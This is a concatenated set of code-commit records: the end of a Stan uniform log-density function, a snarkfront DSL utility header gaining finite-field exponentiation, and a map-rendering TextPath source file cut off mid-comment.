(!include_summand<propto,T_y,T_low,T_high>::value)\n\treturn 0.0;\n\n VectorView<const T_y> y_vec(y);\n VectorView<const T_low> alpha_vec(alpha);\n VectorView<const T_high> beta_vec(beta);\n size_t N = max_size(y, alpha, beta);\n\n for (size_t n = 0; n < N; n++) {\n\tconst double y_dbl = value_of(y_vec[n]);\n\tif (y_dbl < value_of(alpha_vec[n]) || y_dbl > value_of(beta_vec[n]))\n\t return LOG_ZERO;\n }\n\n DoubleVectorView<include_summand<propto,T_low,T_high>::value,\n\tis_vector<T_low>::value | is_vector<T_high>::value> inv_beta_minus_alpha(max_size(alpha,beta));\n for (size_t i = 0; i < max_size(alpha,beta); i++) \n\tif (include_summand<propto,T_low,T_high>::value)\n\t inv_beta_minus_alpha[i] = 1.0 \/ (value_of(beta_vec[i]) - value_of(alpha_vec[i]));\n DoubleVectorView<include_summand<propto,T_low,T_high>::value,\n\tis_vector<T_low>::value | is_vector<T_high>::value> log_beta_minus_alpha(max_size(alpha,beta));\n for (size_t i = 0; i < max_size(alpha,beta); i++)\n\tif (include_summand<propto,T_low,T_high>::value)\n\t log_beta_minus_alpha[i] = log(value_of(beta_vec[i]) - value_of(alpha_vec[i]));\n \n agrad::OperandsAndPartials<T_y,T_low,T_high> operands_and_partials(y,alpha,beta);\n for (size_t n = 0; n < N; n++) {\n\tif (include_summand<propto,T_low,T_high>::value)\n\t logp -= log_beta_minus_alpha[n];\n\n\tif (!is_constant_struct<T_low>::value)\n\t operands_and_partials.d_x2[n] += inv_beta_minus_alpha[n];\n\tif (!is_constant_struct<T_high>::value)\n\t operands_and_partials.d_x3[n] -= inv_beta_minus_alpha[n];\n }\n return operands_and_partials.to_var(logp);\n }\n\n\n template <bool propto,\n typename T_y, typename T_low, typename T_high>\n inline\n typename return_type<T_y,T_low,T_high>::type\n uniform_log(const T_y& y, const T_low& alpha, const T_high& beta) {\n return uniform_log<propto>(y,alpha,beta,stan::math::default_policy());\n }\n\n template <typename T_y, typename T_low, typename T_high, \n class Policy>\n inline\n typename return_type<T_y,T_low,T_high>::type\n uniform_log(const T_y& y, const T_low& alpha, const T_high& beta, \n const Policy&) {\n return uniform_log<false>(y,alpha,beta,Policy());\n }\n\n\n template <typename T_y, typename T_low, typename T_high>\n inline\n typename return_type<T_y,T_low,T_high>::type\n uniform_log(const T_y& y, const T_low& alpha, const T_high& beta) {\n return uniform_log<false>(y,alpha,beta,stan::math::default_policy());\n }\n\n \n }\n}\n#endif\n<|endoftext|>"} {"text":"<commit_before>#ifndef _SNARKFRONT_DSL_UTILITY_HPP_\n#define _SNARKFRONT_DSL_UTILITY_HPP_\n\n#include <array>\n#include <cstdint>\n#include <iostream>\n#include <istream>\n#include <ostream>\n#include <string>\n#include <vector>\n\n#include <snarklib\/Util.hpp>\n\n#include <snarkfront\/Alg.hpp>\n#include <snarkfront\/AST.hpp>\n#include <snarkfront\/BitwiseAST.hpp>\n#include <snarkfront\/DSL_base.hpp>\n#include <snarkfront\/HexUtil.hpp>\n\nnamespace snarkfront {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ elliptic curve pairing\n\/\/\n\n\/\/ check if string name is: BN128, Edwards\nbool validPairingName(const std::string& name);\n\n\/\/ returns true if \"BN128\"\nbool pairingBN128(const std::string& name);\n\n\/\/ returns true if \"Edwards\"\nbool pairingEdwards(const std::string& name);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SHA-2\n\/\/\n\n\/\/ check if: \"1\", \"224\", \"256\", \"384\", \"512\", \"512_224\", \"512_256\"\nbool validSHA2Name(const std::string& shaBits);\n\n\/\/ check if: 1, 224, 256, 384, 512\nbool validSHA2Name(const std::size_t shaBits);\n\n\/\/ returns true if \"SHA256\"\nbool nameSHA256(const std::string& shaBits);\n\n\/\/ returns true if \"SHA512\"\nbool nameSHA512(const std::string& shaBits);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ AES\n\/\/\n\n\/\/ check if: 128, 192, 256\nbool validAESName(const std::size_t aesBits);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ powers of 2\n\/\/\n\ntemplate <typename ALG>\nstd::size_t sizeBits(const AST_Const<ALG>&) {\n typename AST_Const<ALG>::ValueType dummy;\n return sizeBits(dummy);\n}\n\ntemplate <typename ALG>\nstd::size_t sizeBits(const AST_Var<ALG>&) {\n typename AST_Var<ALG>::ValueType dummy;\n return sizeBits(dummy);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ convert between hexadecimal ASCII and binary\n\/\/\n\n#define DEFN_ASCII_HEX_ARRAY(BITS) \\\ntemplate <typename FR, std::size_t N> \\\nstd::string asciiHex( \\\n const std::array<uint ## BITS ## _x<FR>, N>& a, \\\n const bool space = false) \\\n{ \\\n std::array<uint ## BITS ## _t, N> tmp; \\\n for (std::size_t i = 0; i < N; ++i) \\\n tmp[i] = a[i]->value(); \\\n return asciiHex(tmp, space); \\\n}\n\nDEFN_ASCII_HEX_ARRAY(8)\nDEFN_ASCII_HEX_ARRAY(32)\nDEFN_ASCII_HEX_ARRAY(64)\n\n#undef DEFN_ASCII_HEX_ARRAY\n\n#define DEFN_ASCII_HEX_VECTOR(BITS) \\\ntemplate <typename FR, std::size_t N> \\\nstd::string asciiHex( \\\n const std::vector<uint ## BITS ## _x<FR>>& a, \\\n const bool space = false) \\\n{ \\\n std::vector<uint ## BITS ## _t> tmp; \\\n for (std::size_t i = 0; i < N; ++i) \\\n tmp[i] = a[i]->value(); \\\n return asciiHex(tmp, space); \\\n}\n\nDEFN_ASCII_HEX_VECTOR(8)\nDEFN_ASCII_HEX_VECTOR(32)\nDEFN_ASCII_HEX_VECTOR(64)\n\n#undef DEFN_ASCII_HEX_VECTOR\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ serialize hash digests and preimages\n\/\/\n\n#define DEFN_ARRAY_OUT(UINT) \\\ntemplate <std::size_t N> \\\nstd::ostream& operator<< ( \\\n std::ostream& os, \\\n const std::array<UINT, N>& a) \\\n{ \\\n const char *ptr = reinterpret_cast<const char*>(a.data()); \\\n if (snarklib::is_big_endian<int>()) { \\\n for (std::size_t i = 0; i < N; ++i) { \\\n for (int j = sizeof(UINT) - 1; j >= 0; --j) { \\\n os.put(ptr[i * sizeof(UINT) + j]); \\\n } \\\n } \\\n } else { \\\n os.write(ptr, sizeof(a)); \\\n } \\\n return os; \\\n}\n\nDEFN_ARRAY_OUT(std::uint8_t)\nDEFN_ARRAY_OUT(std::uint32_t)\nDEFN_ARRAY_OUT(std::uint64_t)\n\n#undef DEFN_ARRAY_OUT\n\n#define DEFN_VECTOR_ARRAY_OUT(UINT) \\\ntemplate <std::size_t N> \\\nstd::ostream& operator<< ( \\\n std::ostream& os, \\\n const std::vector<std::array<UINT, N>>& a) \\\n{ \\\n os << a.size() << ' '; \\\n for (const auto& r : a) \\\n os << r; \\\n return os; \\\n}\n\nDEFN_VECTOR_ARRAY_OUT(std::uint8_t)\nDEFN_VECTOR_ARRAY_OUT(std::uint32_t)\nDEFN_VECTOR_ARRAY_OUT(std::uint64_t)\n\n#undef DEFN_VECTOR_ARRAY_OUT\n\n#define DEFN_ARRAY_IN(UINT) \\\ntemplate <std::size_t N> \\\nstd::istream& operator>> ( \\\n std::istream& is, \\\n std::array<UINT, N>& a) \\\n{ \\\n char *ptr = reinterpret_cast<char*>(a.data()); \\\n if (snarklib::is_big_endian<int>()) { \\\n for (std::size_t i = 0; i < N; ++i) { \\\n for (int j = sizeof(UINT) - 1; j >= 0; --j) { \\\n if (! is.get(ptr[i * sizeof(UINT) + j])) \\\n return is; \\\n } \\\n } \\\n } else { \\\n is.read(ptr, sizeof(a)); \\\n } \\\n return is; \\\n}\n\nDEFN_ARRAY_IN(std::uint8_t)\nDEFN_ARRAY_IN(std::uint32_t)\nDEFN_ARRAY_IN(std::uint64_t)\n\n#undef DEFN_ARRAY_IN\n\n#define DEFN_VECTOR_ARRAY_IN(UINT) \\\ntemplate <std::size_t N> \\\nstd::istream& operator>> ( \\\n std::istream& is, \\\n std::vector<std::array<UINT, N>>& a) \\\n{ \\\n std::size_t len = -1; \\\n if (!(is >> len) || (-1 == len)) return is; \\\n char c; \\\n if (!is.get(c) || (' ' != c)) return is; \\\n a.resize(len); \\\n for (auto& r : a) \\\n if (!(is >> r)) break; \\\n return is; \\\n}\n\nDEFN_VECTOR_ARRAY_IN(std::uint8_t)\nDEFN_VECTOR_ARRAY_IN(std::uint32_t)\nDEFN_VECTOR_ARRAY_IN(std::uint64_t)\n\n#undef DEFN_VECTOR_ARRAY_IN\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ lookup table for unsigned integer types\n\/\/\n\ntemplate <typename T, typename U, typename VAL, typename BITWISE>\nclass BitwiseLUT\n{\npublic:\n template <std::size_t N>\n BitwiseLUT(const std::array<VAL, N>& table_elements)\n : m_value(table_elements.begin(),\n table_elements.end())\n {}\n\n std::size_t size() const { return m_value.size(); }\n\n U operator[] (const T& x) const\n {\n const auto N = m_value.size();\n\n auto sum = BITWISE::_AND(BITWISE::_constant(m_value[0]),\n BITWISE::_CMPLMNT(BITWISE::_bitmask(0 != x)));\n\n for (std::size_t i = 1; i < N - 1; ++i) {\n sum = BITWISE::_ADDMOD(sum,\n BITWISE::_AND(\n BITWISE::_constant(m_value[i]),\n BITWISE::_CMPLMNT(BITWISE::_bitmask(i != x))));\n }\n\n return BITWISE::ADDMOD(sum,\n BITWISE::_AND(\n BITWISE::_constant(m_value[N - 1]),\n BITWISE::_CMPLMNT(BITWISE::_bitmask((N-1) != x))));\n }\n\nprivate:\n const std::vector<VAL> m_value;\n};\n\ntemplate <typename FR> using\narray_uint8 = BitwiseLUT<AST_Node<Alg_uint8<FR>>,\n AST_Op<Alg_uint8<FR>>,\n std::uint8_t,\n BitwiseAST<Alg_uint8<FR>>>;\n\ntemplate <typename FR> using\narray_uint32 = BitwiseLUT<AST_Node<Alg_uint32<FR>>,\n AST_Op<Alg_uint32<FR>>,\n std::uint32_t,\n BitwiseAST<Alg_uint32<FR>>>;\n\ntemplate <typename FR> using\narray_uint64 = BitwiseLUT<AST_Node<Alg_uint64<FR>>,\n AST_Op<Alg_uint64<FR>>,\n std::uint64_t,\n BitwiseAST<Alg_uint64<FR>>>;\n\n} \/\/ namespace snarkfront\n\n#endif\n<commit_msg>finite field exponentiation<commit_after>#ifndef _SNARKFRONT_DSL_UTILITY_HPP_\n#define _SNARKFRONT_DSL_UTILITY_HPP_\n\n#include <array>\n#include <cassert>\n#include <cstdint>\n#include <iostream>\n#include <istream>\n#include <ostream>\n#include <string>\n#include <vector>\n\n#include <snarklib\/Util.hpp>\n\n#include <snarkfront\/Alg.hpp>\n#include <snarkfront\/AST.hpp>\n#include <snarkfront\/BitwiseAST.hpp>\n#include <snarkfront\/DSL_base.hpp>\n#include <snarkfront\/HexUtil.hpp>\n\nnamespace snarkfront {\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ elliptic curve pairing\n\/\/\n\n\/\/ check if string name is: BN128, Edwards\nbool validPairingName(const std::string& name);\n\n\/\/ returns true if \"BN128\"\nbool pairingBN128(const std::string& name);\n\n\/\/ returns true if \"Edwards\"\nbool pairingEdwards(const std::string& name);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ SHA-2\n\/\/\n\n\/\/ check if: \"1\", \"224\", \"256\", \"384\", \"512\", \"512_224\", \"512_256\"\nbool validSHA2Name(const std::string& shaBits);\n\n\/\/ check if: 1, 224, 256, 384, 512\nbool validSHA2Name(const std::size_t shaBits);\n\n\/\/ returns true if \"SHA256\"\nbool nameSHA256(const std::string& shaBits);\n\n\/\/ returns true if \"SHA512\"\nbool nameSHA512(const std::string& shaBits);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ AES\n\/\/\n\n\/\/ check if: 128, 192, 256\nbool validAESName(const std::size_t aesBits);\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ powers of 2\n\/\/\n\ntemplate <typename ALG>\nstd::size_t sizeBits(const AST_Const<ALG>&) {\n typename AST_Const<ALG>::ValueType dummy;\n return sizeBits(dummy);\n}\n\ntemplate <typename ALG>\nstd::size_t sizeBits(const AST_Var<ALG>&) {\n typename AST_Var<ALG>::ValueType dummy;\n return sizeBits(dummy);\n}\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ convert between hexadecimal ASCII and binary\n\/\/\n\n#define DEFN_ASCII_HEX_ARRAY(BITS) \\\ntemplate <typename FR, std::size_t N> \\\nstd::string asciiHex( \\\n const std::array<uint ## BITS ## _x<FR>, N>& a, \\\n const bool space = false) \\\n{ \\\n std::array<uint ## BITS ## _t, N> tmp; \\\n for (std::size_t i = 0; i < N; ++i) \\\n tmp[i] = a[i]->value(); \\\n return asciiHex(tmp, space); \\\n}\n\nDEFN_ASCII_HEX_ARRAY(8)\nDEFN_ASCII_HEX_ARRAY(32)\nDEFN_ASCII_HEX_ARRAY(64)\n\n#undef DEFN_ASCII_HEX_ARRAY\n\n#define DEFN_ASCII_HEX_VECTOR(BITS) \\\ntemplate <typename FR, std::size_t N> \\\nstd::string asciiHex( \\\n const std::vector<uint ## BITS ## _x<FR>>& a, \\\n const bool space = false) \\\n{ \\\n std::vector<uint ## BITS ## _t> tmp; \\\n for (std::size_t i = 0; i < N; ++i) \\\n tmp[i] = a[i]->value(); \\\n return asciiHex(tmp, space); \\\n}\n\nDEFN_ASCII_HEX_VECTOR(8)\nDEFN_ASCII_HEX_VECTOR(32)\nDEFN_ASCII_HEX_VECTOR(64)\n\n#undef DEFN_ASCII_HEX_VECTOR\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ serialize hash digests and preimages\n\/\/\n\n#define DEFN_ARRAY_OUT(UINT) \\\ntemplate <std::size_t N> \\\nstd::ostream& operator<< ( \\\n std::ostream& os, \\\n const std::array<UINT, N>& a) \\\n{ \\\n const char *ptr = reinterpret_cast<const char*>(a.data()); \\\n if (snarklib::is_big_endian<int>()) { \\\n for (std::size_t i = 0; i < N; ++i) { \\\n for (int j = sizeof(UINT) - 1; j >= 0; --j) { \\\n os.put(ptr[i * sizeof(UINT) + j]); \\\n } \\\n } \\\n } else { \\\n os.write(ptr, sizeof(a)); \\\n } \\\n return os; \\\n}\n\nDEFN_ARRAY_OUT(std::uint8_t)\nDEFN_ARRAY_OUT(std::uint32_t)\nDEFN_ARRAY_OUT(std::uint64_t)\n\n#undef DEFN_ARRAY_OUT\n\n#define DEFN_VECTOR_ARRAY_OUT(UINT) \\\ntemplate <std::size_t N> \\\nstd::ostream& operator<< ( \\\n std::ostream& os, \\\n const std::vector<std::array<UINT, N>>& a) \\\n{ \\\n os << a.size() << ' '; \\\n for (const auto& r : a) \\\n os << r; \\\n return os; \\\n}\n\nDEFN_VECTOR_ARRAY_OUT(std::uint8_t)\nDEFN_VECTOR_ARRAY_OUT(std::uint32_t)\nDEFN_VECTOR_ARRAY_OUT(std::uint64_t)\n\n#undef DEFN_VECTOR_ARRAY_OUT\n\n#define DEFN_ARRAY_IN(UINT) \\\ntemplate <std::size_t N> \\\nstd::istream& operator>> ( \\\n std::istream& is, \\\n std::array<UINT, N>& a) \\\n{ \\\n char *ptr = reinterpret_cast<char*>(a.data()); \\\n if (snarklib::is_big_endian<int>()) { \\\n for (std::size_t i = 0; i < N; ++i) { \\\n for (int j = sizeof(UINT) - 1; j >= 0; --j) { \\\n if (! is.get(ptr[i * sizeof(UINT) + j])) \\\n return is; \\\n } \\\n } \\\n } else { \\\n is.read(ptr, sizeof(a)); \\\n } \\\n return is; \\\n}\n\nDEFN_ARRAY_IN(std::uint8_t)\nDEFN_ARRAY_IN(std::uint32_t)\nDEFN_ARRAY_IN(std::uint64_t)\n\n#undef DEFN_ARRAY_IN\n\n#define DEFN_VECTOR_ARRAY_IN(UINT) \\\ntemplate <std::size_t N> \\\nstd::istream& operator>> ( \\\n std::istream& is, \\\n std::vector<std::array<UINT, N>>& a) \\\n{ \\\n std::size_t len = -1; \\\n if (!(is >> len) || (-1 == len)) return is; \\\n char c; \\\n if (!is.get(c) || (' ' != c)) return is; \\\n a.resize(len); \\\n for (auto& r : a) \\\n if (!(is >> r)) break; \\\n return is; \\\n}\n\nDEFN_VECTOR_ARRAY_IN(std::uint8_t)\nDEFN_VECTOR_ARRAY_IN(std::uint32_t)\nDEFN_VECTOR_ARRAY_IN(std::uint64_t)\n\n#undef DEFN_VECTOR_ARRAY_IN\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ lookup table for unsigned integer types\n\/\/\n\ntemplate <typename T, typename U, typename VAL, typename BITWISE>\nclass BitwiseLUT\n{\npublic:\n template <std::size_t N>\n BitwiseLUT(const std::array<VAL, N>& table_elements)\n : m_value(table_elements.begin(),\n table_elements.end())\n {\n#ifdef USE_ASSERT\n \/\/ empty look up table does not make sense\n assert(N > 0);\n#endif\n }\n\n std::size_t size() const { return m_value.size(); }\n\n U operator[] (const T& x) const\n {\n const auto N = m_value.size();\n\n if (1 == N) {\n \/\/ returns value if index is 0, else all clear bits\n return BITWISE::AND(BITWISE::_constant(m_value[0]),\n BITWISE::_CMPLMNT(BITWISE::_bitmask(0 != x)));\n\n } else {\n auto sum = BITWISE::_AND(BITWISE::_constant(m_value[0]),\n BITWISE::_CMPLMNT(BITWISE::_bitmask(0 != x)));\n\n for (std::size_t i = 1; i < N - 1; ++i) {\n sum = BITWISE::_ADDMOD(sum,\n BITWISE::_AND(\n BITWISE::_constant(m_value[i]),\n BITWISE::_CMPLMNT(BITWISE::_bitmask(i != x))));\n }\n\n return BITWISE::ADDMOD(sum,\n BITWISE::_AND(\n BITWISE::_constant(m_value[N - 1]),\n BITWISE::_CMPLMNT(BITWISE::_bitmask((N-1) != x))));\n }\n }\n\nprivate:\n const std::vector<VAL> m_value;\n};\n\ntemplate <typename FR> using\narray_uint8 = BitwiseLUT<AST_Node<Alg_uint8<FR>>,\n AST_Op<Alg_uint8<FR>>,\n std::uint8_t,\n BitwiseAST<Alg_uint8<FR>>>;\n\ntemplate <typename FR> using\narray_uint32 = BitwiseLUT<AST_Node<Alg_uint32<FR>>,\n AST_Op<Alg_uint32<FR>>,\n std::uint32_t,\n BitwiseAST<Alg_uint32<FR>>>;\n\ntemplate <typename FR> using\narray_uint64 = BitwiseLUT<AST_Node<Alg_uint64<FR>>,\n AST_Op<Alg_uint64<FR>>,\n std::uint64_t,\n BitwiseAST<Alg_uint64<FR>>>;\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ finite field exponentiation\n\/\/\n\ntemplate <typename FR>\nAST_Op<Alg_Field<FR>> pow(const AST_Node<Alg_Field<FR>>& base,\n const AST_Node<Alg_bool<FR>>& exponent)\n{\n \/\/ base * exponent + ~exponent = exponent ? base : one\n return AST_Op<Alg_Field<FR>>(\n Alg_Field<FR>::OpType::ADD,\n new AST_Op<Alg_Field<FR>>(Alg_Field<FR>::OpType::MUL,\n base,\n _xword(exponent, base)),\n _xword(~exponent, base));\n}\n\ntemplate <typename FR>\nAST_Op<Alg_Field<FR>>* _pow(const AST_Node<Alg_Field<FR>>& base,\n const AST_Node<Alg_bool<FR>>& exponent)\n{\n \/\/ base * exponent + ~exponent = exponent ? base : one\n return new AST_Op<Alg_Field<FR>>(\n Alg_Field<FR>::OpType::ADD,\n new AST_Op<Alg_Field<FR>>(Alg_Field<FR>::OpType::MUL,\n base,\n _xword(exponent, base)),\n _xword(~exponent, base));\n}\n\ntemplate <typename FR>\nAST_Op<Alg_Field<FR>> pow(const AST_Node<Alg_Field<FR>>& base,\n const std::vector<AST_Node<Alg_bool<FR>>>& exponent)\n{\n const auto expBits = exponent.size();\n\n#ifdef USE_ASSERT\n \/\/ no exponent bits does not make sense\n assert(expBits > 0);\n#endif\n\n if (1 == expBits) {\n return pow(base, exponent[0]);\n\n } else {\n auto sum = _pow(base, exponent[0]);\n\n \/\/ pow(base, 2)\n auto powbase = new AST_Op<Alg_Field<FR>>(Alg_Field<FR>::OpType::MUL,\n base,\n base);\n\n for (std::size_t i = 1; i < expBits - 1; ++i) {\n sum = new AST_Op<Alg_Field<FR>>(Alg_Field<FR>::OpType::ADD,\n sum,\n _pow(powbase, exponent[i]));\n\n \/\/ pow(base, pow(2, i + 1))\n powbase = new AST_Op<Alg_Field<FR>>(Alg_Field<FR>::OpType::MUL,\n powbase,\n powbase);\n }\n\n return AST_Op<Alg_Field<FR>>(Alg_Field<FR>::OpType::ADD,\n sum,\n _pow(powbase, exponent[expBits - 1]));\n }\n}\n\n} \/\/ namespace snarkfront\n\n#endif\n<|endoftext|>"} {"text":"<commit_before>#include \"..\/base\/SRC_FIRST.hpp\"\n\n#include \"text_path.hpp\"\n\n#include \"..\/geometry\/angles.hpp\"\n\nnamespace graphics\n{\n TextPath::TextPath()\n : m_pv(),\n m_fullLength(0),\n m_pathOffset(0)\n {}\n\n TextPath::TextPath(TextPath const & src, math::Matrix<double, 3, 3> const & m)\n {\n m_arr.resize(src.m_arr.size());\n for (unsigned i = 0; i < m_arr.size(); ++i)\n m_arr[i] = src.m_arr[i] * m;\n\n m_fullLength = (m2::PointD(src.m_fullLength, 0) * m).Length(m2::PointD(0, 0) * m);\n m_pathOffset = (m2::PointD(src.m_pathOffset, 0) * m).Length(m2::PointD(0, 0) * m);\n\n m_pv = PathView(&m_arr[0], m_arr.size());\n\n \/\/\/ Fix: Check for reversing only when rotation is active,\n \/\/\/ otherwise we have some flicker-blit issues for street names on zooming.\n \/\/\/ @todo Should investigate this stuff.\n if (m(0, 1) != 0.0 && m(1, 0) != 0.0)\n checkReverse();\n else\n setIsReverse(src.isReverse());\n }\n\n TextPath::TextPath(m2::PointD const * arr, size_t sz, double fullLength, double pathOffset)\n : m_fullLength(fullLength),\n m_pathOffset(pathOffset)\n {\n ASSERT ( sz > 1, () );\n\n m_arr.resize(sz);\n copy(arr, arr + sz, m_arr.begin());\n\n m_pv = PathView(&m_arr[0], m_arr.size());\n\n checkReverse();\n }\n\n bool TextPath::isReverse() const\n {\n return m_pv.isReverse();\n }\n\n void TextPath::setIsReverse(bool flag)\n {\n m_pv.setIsReverse(flag);\n }\n\n void TextPath::checkReverse()\n {\n \/* assume, that readable text in path should be ('o' - start draw point):\n * \/ o\n * \/ \\\n * \/ or \\\n * o \\\n *\/\n\n double const a = ang::AngleTo(m_arr[0], m_arr[m_arr.size() - 1]);\n\n if (fabs(a) > math::pi \/ 2.0)\n {\n \/\/ if we swap direction, we need to recalculate path offset from the end\n double len = 0.0;\n for (size_t i = 1; i < m_arr.size(); ++i)\n len += m_arr[i-1].Length(m_arr[i]);\n\n m_pathOffset = m_fullLength - m_pathOffset - len;\n ASSERT ( m_pathOffset >= -1.0E-6, () );\n if (m_pathOffset < 0.0)\n m_pathOffset = 0.0;\n\n setIsReverse(true);\n }\n else\n setIsReverse(false);\n }\n\n double TextPath::fullLength() const\n {\n return m_fullLength;\n }\n\n double TextPath::pathOffset() const\n {\n return m_pathOffset;\n }\n\n size_t TextPath::size() const\n {\n return m_pv.size();\n }\n\n m2::PointD TextPath::get(size_t i) const\n {\n return m_pv.get(i);\n }\n\n m2::PointD TextPath::operator[](size_t i) const\n {\n return get(i);\n }\n\n PathPoint const TextPath::offsetPoint(PathPoint const & pp, double offset) const\n {\n return m_pv.offsetPoint(pp, offset);\n }\n\n PivotPoint TextPath::findPivotPoint(PathPoint const & pp, GlyphMetrics const & sym) const\n {\n const PivotPoint ptStart = m_pv.findPivotPoint(pp, sym.m_xOffset - sym.m_width);\n const PivotPoint ptEnd = m_pv.findPivotPoint(pp, sym.m_xOffset + sym.m_width * 2);\n \/\/ both start and end are on the same segment, no need to calculate\n if (ptStart.m_pp.m_i == ptEnd.m_pp.m_i)\n return PivotPoint(ptStart.m_angle,\n PathPoint(ptStart.m_pp.m_i, ptStart.m_angle, (ptStart.m_pp.m_pt + ptEnd.m_pp.m_pt) \/ 2.0));\n \/\/ points are on different segments, average the angle and middle point\n const PivotPoint ptMid = m_pv.findPivotPoint(pp, sym.m_xOffset + sym.m_width \/ 2.0);\n if ((ptStart.m_pp.m_i != -1) && (ptMid.m_pp.m_i != -1) && (ptEnd.m_pp.m_i != -1))\n {\n const ang::AngleD avgAngle(ang::GetMiddleAngle(ptStart.m_angle.val(), ptEnd.m_angle.val()));\n\n return PivotPoint(avgAngle,\n PathPoint(ptMid.m_pp.m_i, ptMid.m_angle,\n (ptStart.m_pp.m_pt +\n ptMid.m_pp.m_pt + ptMid.m_pp.m_pt + \/\/ twice to compensate for long distance\n ptEnd.m_pp.m_pt) \/ 4.0));\n }\n \/\/ if some of the pivot points are outside of the path, just take the middle value\n else\n return ptMid;\n }\n\n PathPoint const TextPath::front() const\n {\n return m_pv.front();\n }\n}\n\n<commit_msg>formatting<commit_after>#include \"..\/base\/SRC_FIRST.hpp\"\n\n#include \"text_path.hpp\"\n\n#include \"..\/geometry\/angles.hpp\"\n\nnamespace graphics\n{\n TextPath::TextPath()\n : m_pv(),\n m_fullLength(0),\n m_pathOffset(0)\n {}\n\n TextPath::TextPath(TextPath const & src, math::Matrix<double, 3, 3> const & m)\n {\n m_arr.resize(src.m_arr.size());\n for (unsigned i = 0; i < m_arr.size(); ++i)\n m_arr[i] = src.m_arr[i] * m;\n\n m_fullLength = (m2::PointD(src.m_fullLength, 0) * m).Length(m2::PointD(0, 0) * m);\n m_pathOffset = (m2::PointD(src.m_pathOffset, 0) * m).Length(m2::PointD(0, 0) * m);\n\n m_pv = PathView(&m_arr[0], m_arr.size());\n\n \/\/\/ Fix: Check for reversing only when rotation is active,\n \/\/\/ otherwise we have some 